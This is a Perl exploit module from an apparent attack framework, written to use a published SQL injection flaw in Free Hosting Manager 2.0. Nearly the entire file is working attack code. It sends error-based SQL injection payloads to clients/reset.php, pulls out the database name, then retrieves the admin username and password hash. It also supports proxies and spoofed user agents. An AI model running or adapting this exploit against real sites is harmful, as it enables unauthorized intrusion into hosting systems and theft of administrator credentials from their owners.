####
#  _________.__                 .__ __    ________         
# /   _____/|  |__  __ _________|__|  | __\_____  \  ____  
# \_____  \ |  |  \|  |  \_  __ \  |  |/ /  _(__  < /    \ 
# /        \|   Y  \  |  /|  | \/  |    <  /       \   |  \
#/_______  /|___|  /____/ |__|  |__|__|_ \/______  /___|  /
#        \/      \/                     \/       \/     \/ 
#
#                   
#                      
#   CLASE            :    EXPLOITS::SQLI::Hosting_Manager_V2_0                                                           
#   CREADO POR       :    Dshellnoi Unix 
#   CORREO           :    templesec0day@gmail.com                   
#   FECHA            :    21-4-2013                             
#   ACTUALIZACION    :      
#   VERSION          :    0.1 
#
#   ORIGINAL EXPLOIT :    
#   WEB RESEARCHER   :   Discovered by Yakir Wizman AKA Pr0T3cT10n                      
#                                                                
#   LICENCIA:                                                 
#            SUJETO A LA LICENCIA SHURIK3N           
####

package EXPLOITS::SQLI::Hosting_Manager_V2_0;
use LWP::UserAgent;
use strict ;
use Switch;
use LIBS::GNRL::Texto ;
use LIBS::GNRL::Colores ;
use LWP::Protocol::socks ;


use vars qw($VERSION @ISA);
@ISA = qw(); 
$VERSION = '0.01';


sub new {

    my($class) = @_;
    
     my $self =  ( { Title        => "Free Hosting Manager 2.0 SQLI",
                    Author        => "Discovered by Yakir Wizman AKA Pr0T3cT10n, Exploit by Dshellnoi_Unix",
                    Date          => "23-04-13",
                    Ranking       => "Good",
                    Platform      => "php",
                    Tested        => "BT5R1:R3 - Ubuntu 10.04.2 LTS ",
                    Type          => "SQLI",
                    OSVDB         => "88063",
                    CVE           => "NULL",
                    CWE           => "NULL", 
                    Webauthor     => "http://www.exploit-db.com/exploits/23028/", 
                    Descrition    =>qq[Free Hosting Manager V2.0 SQL Injection Vulnerability],

                    ARG           => [

                                      ["TARGET","Set the target"       ,1],
                                      ["UA"    ,"Set the User Agent"   ,0],
                                      ["PROXY" ,"Set the proxy"        ,0]

                                     ],
                  


                 });
     

    bless($self, $class);
    return $self;
}


sub run
{

my($self,@data) = @_;  

my $url = $data[0];

##
## COMPROVAMOS URI
##

if($url !~ /\/$/){
$url = $url."/";
}

my $cmp_uri = LIBS::GNRL::Texto->new();
   $cmp_uri->cmp_url($url); 




my $count = 0;
my $database ;
my $user_agent;

#
# CMP UA 
#

if($data[1] eq 0){

$user_agent = "$0/0.1" ;

}
else{

$user_agent = $data[1] ;

}

 
my $pay  ='clients/reset.php?code=1 %27 AND (select 1 from (select count(*), concat(0x3a,0x3a,0x3a,0x3a,(select database())';
   $pay .=',0x3a, 0x3a,0x3a, 0x3a, floor(rand()*2))a from information_schema.tables group by a)Evilcode) --+';

my $pay_dos = "clients/reset.php?code=1 %27 and (select 1 from (select count(*),concat((select(select concat(cast";
   $pay_dos .= "(concat(0x3a,0x3a,0x3a,0x3a,username,0x3a,password) as char),0x3a,0x3a,0x3a,0x3a)) from $database.adminusers limit 0,1),floor(";
   $pay_dos .= "rand(0)*2))x from information_schema.tables group by x)a) --+";



my @p = (
       "$pay",
       "$pay_dos"
      );


my $test =  LIBS::GNRL::Colores->new(); 
   $test->pinta("ROJO", "[+]Launching exploit\n") ;
   sleep 1;

for(my $i = 0 ; $i < 10 ; $i++){


   my $ua = new LWP::UserAgent;
   $ua->timeout(15);
   $ua->agent("$user_agent");



#
# CMP PROXY
#


   if($data[2] ne 0){

my $cmp_proxy = LIBS::GNRL::Texto->new();
   $cmp_proxy->cmp_proxy($data[2]); 
   $ua->proxy([qw(http https)] => "$data[2]");

}



my $response = $ua->get("$url$p[$count]"); 
 

switch ($response->code) {

case 404  { 
           my $err =  LIBS::GNRL::Colores->new(); 
              $err->pinta("ROJO", "[-]Not found $url\n") ;
              goto SHELL;
          }

case 500  { 
            my $err =  LIBS::GNRL::Colores->new(); 
               $err->pinta("ROJO", "[-]Checks the proxy or internet connection\n") ;
               goto SHELL;
          }
}



if( $response->as_string =~ m/::::([\w_-]{2,}+)::::/ ) {
  $database = $1 ;
 
   $count = 1;
   $i = 0
  }

if( $response->as_string =~ m/::::([\w_-]{2,}:\w{32})::::/ ) {
  print "[+]Getting the user and pass\n";
  sleep 1;
  print $1."\n"; 
  goto SHELL;
  }




}

my $err =  LIBS::GNRL::Colores->new(); 
   $err->pinta("ROJO", "[-]Failed to run the exploit\n") ;
  
}

1;